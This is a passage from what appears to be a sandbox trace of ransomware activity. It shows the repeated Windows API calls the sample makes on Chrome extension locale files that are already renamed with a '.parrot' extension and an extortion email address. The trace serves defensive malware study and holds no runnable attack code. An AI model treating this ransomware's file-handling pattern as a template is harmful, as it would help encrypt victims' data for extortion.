lpFileSizeHigh=0x18fda4*=0x0) returned 0x238 [0094.519] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x350, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.519] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.519] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.520] CloseHandle (hObject=0x23c) returned 1 [0094.520] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lv\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lv\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.520] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x228 [0094.520] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x340, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.520] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.520] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.532] CloseHandle (hObject=0x23c) returned 1 [0094.532] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ms\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ms\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.533] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x218 [0094.533] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x330, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.533] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.533] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.534] CloseHandle (hObject=0x23c) returned 1 [0094.534] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\nl\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\nl\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.534] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x218 [0094.534] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x330, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.534] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.534] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.535] CloseHandle (hObject=0x23c) returned 1 [0094.535] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\no\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\no\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.536] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x1f8 [0094.536] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x310, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.536] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.536] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.536] CloseHandle (hObject=0x23c) returned 1 [0094.537] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pl\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pl\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.537] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x228 [0094.537] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x340, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.537] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.537] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.538] CloseHandle (hObject=0x23c) returned 1 [0094.538] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_BR\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_br\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.538] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x218 [0094.539] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x330, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.539] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.539] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.539] CloseHandle (hObject=0x23c) returned 1 [0094.539] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_PT\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_pt\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.540] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x228 [0094.540] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x340, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.540] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.540] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.541] CloseHandle (hObject=0x23c) returned 1 [0094.541] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ro\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ro\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.541] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x238 [0094.541] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x350, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.541] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.541] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.542] CloseHandle (hObject=0x23c) returned 1 [0094.542] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ru\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ru\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.542] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x278 [0094.542] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x390, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.542] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.542] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.543] CloseHandle (hObject=0x23c) returned 1 [0094.543] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sk\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sk\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.544] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x238 [0094.544] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x350, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.544] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.544] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.544] CloseHandle (hObject=0x23c) returned 1 [0094.545] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sl\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sl\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.545] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x228 [0094.545] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x340, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.545] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.545] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.546] CloseHandle (hObject=0x23c) returned 1 [0094.546] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sr\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sr\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.546] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x238 [0094.546] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x350, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.546] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.546] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.547] CloseHandle (hObject=0x23c) returned 1 [0094.547] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sv\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sv\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.547] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x218 [0094.547] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x330, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.548] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.548] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.549] CloseHandle (hObject=0x23c) returned 1 [0094.549] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\th\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\th\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.549] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x288 [0094.549] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3a0, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.549] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.549] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.550] CloseHandle (hObject=0x23c) returned 1 [0094.550] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\tr\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\tr\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.550] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x228 [0094.550] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x340, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.550] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.550] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.551] CloseHandle (hObject=0x23c) returned 1 [0094.551] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\uk\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\uk\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.551] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x288 [0094.551] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3a0, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.551] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.552] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.598] CloseHandle (hObject=0x23c) returned 1 [0094.598] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\vi\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\vi\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.599] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x238 [0094.599] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x350, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.599] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.599] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.600] CloseHandle (hObject=0x23c) returned 1 [0094.600] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_CN\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_cn\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.601] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x238 [0094.601] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x350, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.601] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.601] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.602] CloseHandle (hObject=0x23c) returned 1 [0094.602] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User 